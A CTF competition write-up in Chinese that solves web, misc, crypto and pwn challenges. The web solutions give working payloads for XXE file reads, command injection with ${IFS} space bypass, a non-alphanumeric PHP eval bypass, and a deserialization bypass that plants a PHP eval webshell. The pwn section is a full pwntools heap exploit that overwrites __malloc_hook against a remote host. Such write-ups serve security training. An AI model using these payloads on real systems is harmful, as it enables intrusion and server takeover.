WEB
小明又被拒绝了
这题比较简单,xff+改cookie
payload:
XX?
源码泄露
http://119.61.19.212:8083/index.php~
<?php #鍏抽棴Warning error_reporting(E_ALL^E_NOTICE^E_WARNING); $xmlfile = file_get_contents('php://input'); $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); $creds = simplexml_import_dom($dom); $user = $creds->user; $pass = $creds->pass; echo "CTF:" . "<br>" . "$user"; ?>
xxe直接打,另外扫描到flag.php
PHP伪协议直接读flag
GET /index.php HTTP/1.1 Host: 119.61.19.212:8083 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: admin=0 Upgrade-Insecure-Requests: 1 X-Forwarded-For: 127.0.0.1 Content-Length: 227
]>

### 免费的,ping一下~
- Fuzz出来一个payload`a;id;`可以用

- ${IFS}绕过空格
- pyload
baidu.coma;grep${IFS}-n${IFS}”fl”${IFS}/fla*;
### php
```php
<?php
error_reporting(E_ALL^E_NOTICE^E_WARNING);
function GetYourFlag(){
echo file_get_contents("./flag.php");
}
if(isset($_GET['code'])){
$code = $_GET['code'];
//print(strlen($code));
if(strlen($code)>27){
die("Too Long.");
}
if(preg_match('/[a-zA-Z0-9_&^<>"\']+/',$_GET['code'])) {
die("Not Allowed.");
}
@eval($_GET['code']);
}else{
highlight_file(__FILE__);
}
?>
- 这道题和SUCTF2019的Ezphp类似。
- 直接使用脚本检测在这个正则下哪些字符可用。
<?php
for ($ascii = 0; $ascii < 256; $ascii++) {
if (!preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', chr($ascii))) {
//echo bin2hex(chr($ascii));
echo chr($ascii);
echo "\n";
}
}
?>
- 可以得知如下字符可用
! # $ % ( ) * + , - . / : ; = ? @ [ \ ] ` { | } ~
构造payload,直接构造${_GET}{%a0();,绕过方法参考:https://www.freebuf.com/articles/web/186298.html
>>echo bin2hex(~("_GET")); >>a0b8baab 转换为url编码再取反构造payload如下: ${~%a0%b8%ba%ab}{%a0}();&%a0=GetYourFlag
读取flag
<?php $flag="flag{3904c5df2e894ca02a21004feb21e617}" ?>
API
- 扫描目录从胡发现有个api目录,然后需要我们post提交一个filename而且是json格式的。经过一顿Fuzz出来一个
payload
可用:
filename={"file":"index.php"}
- 尝试使用双url编码去绕过
stristr
均以失败告终,后面去读根目录下的index.php
发现源码:
<?php
require_once('hack.php');
echo "Api!wow";
function do_unserialize($value){
preg_match('/[oc]:\d+:/i', $value, $matches);
if (count($matches)) {return false;}
return unserialize($value);
}
$x = new hack();
if(isset($_GET['flag'])) $g = $_GET['flag'];
if (!empty($g)) {
$x = do_unserialize($g);
}
echo $x->readfile();
?>
- 源码可知可以它返序列化了一个类,而这个类在
hack.php
,于是读取hack.php
<?php
class hack {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
}
function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
//fffffaa_not.php
?>
- 直接可以知,反序列化需要我们去读取
fffffaa_not.php
(直接读取flag不行,因为不知道flag的文件名)
<?php
class hack {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
}
function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
$a= new hack('fffffaa_not.php');
echo serialize($a);
//O:4:"hack":1:{s:4:"file";s:15:"fffffaa_not.php";}
?>
- 这里又遇到了问题,在hack.php过滤了
O:数字
,这里直接用加号当做空格绕过。
O:+4:"hack":1:{s:4:"file";s:15:"fffffaa_not.php";}
- 然后读取到
fffffaa_not.php
源码:
<?php
$text = $_GET['jhh08881111jn'];
$filename = $_GET['file_na'];
if(preg_match('[<>?]', $text)) {
die('error!');
}
if(is_numeric($filename)){
$path="/var/www/html/uploads/".$filename.".php";
}else{
die('error');
}
file_put_contents($path, $text);
?>
这里preg_match()可以直接绕过,使用数组bypass(Bug #69274)
这样直接构造payload,在uploads文件下生成一个一句话木马。
fffffaa_not.php?jhh08881111jn[]=%3C?php%20@eval($_POST[%27sb%27]);?%3E&file_na=110114
- 上菜刀在根目录下直接读取flag
MISC
完美的错误
尝试多次发现base58将表移位
脚本:
import base58
old_base58_table = ['1','2','3','4','5','6','7','8','9',
'A','B','C','D','E','F','G','H','J','K','L','M','N','P',
'Q','R','S','T','U','V','W','X','Y','Z','a','b',
'c','d','e','f','g','h','i','j','k','m','n',
'o','p','q','r','s','t','u','v','w','x','y','z']
target="RJv9mjS1bM9MZafGV77uTyDaapNLSk6t358j2Mdf1pbCByjEiVpX"
s=""
for i in range(len(old_base58_table)):
s=""
new_base58_table=old_base58_table[:]
for j in range(len(old_base58_table)):
new_base58_table[j] = old_base58_table[(j+i)%len(old_base58_table)]
for k in target:
s+=old_base58_table[new_base58_table.index(k)]
if 'flag' in base58.b58decode(s):
print base58.b58decode(s)
抓灰阔
用wireshark导出http文件发现main(13)与main.jsp%3fpass=281文件有AES的密文密钥
扔去网站解密
发现提示,将后面内容复制base64解密转存发现是个ELF文件但是文件头不齐,将文件头补齐后,拉入ida分析
将指定字符串输入后得到flag
oo8?989j5i8;jh8>;:=8n;ij:mij8;o4"
Crypto
题目已经提示了开头的字符,虽然生成了两个随机字符串,但是新生成的字符串是由前一个字符串异或得到,通过开头字符可求得随机字符串key。
脚本:
import os
from Crypto.Util.number import long_to_bytes,bytes_to_long
f=open("flag.txt.encrypted", "rb")
fmessage = f.read()
message="have a good time."
key = os.urandom(8)
iv = os.urandom(8)
count = 8
filemessage1= []
filemessage2= []
def decode():
for i in range(8):
filemessage1.append(bytes_to_long(fmessage[i*8:i*8+8]))
filemessage2.append(bytes_to_long(fmessage[i*8:i*8+8]))
for i in range(7):
filemessage2[i+1] = filemessage1[i] ^ filemessage2[i+1]
final=long_to_bytes(filemessage2[1])
for i in range(8):
for j in range(255):
if ord(final[i]) ^ j == ord(message[i+8]):
key = hex(j)
key = '\xf7\x53\xc1\x24\x9c\x49\x73\x18'
print long_to_bytes(bytes_to_long(key)^filemessage2[2])
+long_to_bytes(bytes_to_long(key)^filemessage2[3])
+long_to_bytes(bytes_to_long(key)^filemessage2[4])
+long_to_bytes(bytes_to_long(key)^filemessage2[5])
+long_to_bytes(bytes_to_long(key)^filemessage2[6])
decode()
脑筋急转弯
这题是一道音频隐写的题目,用silenteye提取出文件
发现该压缩包有密码,于是用Ziperello破解
解压出来是012的文件
由该题目的标题联想到brainfuck的语言,于是将0转成 . 将1转成 ! 将2转成?
于是用https://www.splitbrain.org/services/ook在线转换
flag{08277716193eda6c592192966e9d6f39}
Pwn
Pwn1
一开始拿着2.23的libc埋头做,利用条件竞争加上unsorted bin attack改fastbin的最大限制,free的时候所有的chunk都可以进入fastbin,但是改了之后unsorted bin坏了,因为创建进程要0x120的空间,所以就不能用条件竞争改fastbin的fd,那时候想了好久如何绕过这个限制,后来libc换成2.27的时候就容易多了,先free 7个chunk进入tcache将其填满,然后再free进入unsorted bin,利用run函数泄露内存,接着直接用条件竞争该tcache的fd为malloc hook的位置就行了,因为2.27的版本下没有过多的检查,然后将malloc hook改成one_gadget,最后malloc的时候会调用malloc hook的函数,执行one_gadget。
from pwn import*
context.log_level=True
#p=process('./qw_pwn1')
p=remote('119.61.19.212',8087)
elf=ELF('qw_pwn1')
libc=ELF('libc.so.6')
def add(id,x):
p.recvuntil('3.run\n')
p.sendline('1')
p.recvuntil('index:\n')
p.sendline(str(id))
p.recvuntil('content:\n')
p.send(x)
def add1(id,x):
p.sendline('1')
p.recvuntil('index:\n')
p.sendline(str(id))
p.recvuntil('content:\n')
p.send(x)
def free(id):
p.recvuntil('3.run\n')
p.sendline('2')
p.recvuntil('index:\n')
p.sendline(str(id))
def free1(id):
p.sendline('2')
p.recvuntil('index:\n')
p.sendline(str(id))
def run(id,key):
p.recvuntil('3.run\n')
p.sendline('3')
p.recvuntil('index:\n')
p.sendline(str(id))
p.recvuntil('input key:\n')
p.sendline(str(key))
add(0,'\0'*0xa0)
add(1,'b'*0x8+p64(0xb1))
add(2,'\0'*0xa0)
add1(3,'\0'*0xa0)
add(4,'\0'*0xa0)
add(5,'\0'*0xa0)
add(6,'\0'*0xa0)
add(7,'\0'*0xa0)
add(8,'\0'*0xa0)
add(9,'\0'*0xa0)
free(1)
free(2)
free(3)
free(4)
free(5)
free(6)
free(7)
free(0)
add(7,'b'*0x8+p64(0xb1))
add(6,'\0'*0xa0)
add1(5,'\0'*0xa0)
add(4,'\0'*0xa0)
add(3,'\0'*0xa0)
add(2,'\0'*0xa0)
add(1,'\0'*0xa0)
add(0,'a'*8)
run(0,0)
p.recvuntil('a'*8)
libcbase=u64(p.recv(6).ljust(8,'\x00'))-(0x00007ffff7bb0ca0-0x00007ffff77c5000)
print hex(libcbase)
malloc=libcbase+libc.symbols['__malloc_hook']
print hex(malloc)
one=libcbase+0x4f322
#malloc=(malloc-0x13) & 0xffff
#key=malloc^(malloc+0x70)
#key=key&0xffff
p.sendline('3')
p.recvuntil('index:\n')
p.sendline(str(0))
p.recvuntil('input key:\n')
p.sendline(str(malloc-0x13))
free(0)
sleep(3)
p.recvuntil('done\n')
add1(11,'\0'*0xa0)
add(12,'a'*0x13+p64(one))
#gdb.attach(p)
#raw_input()
p.recvuntil('3.run\n')
p.sendline('1')
p.recvuntil('index:\n')
p.sendline(str(13))
p.interactive()
flag{85B367076A1B7177F0F2945DA9DFE599}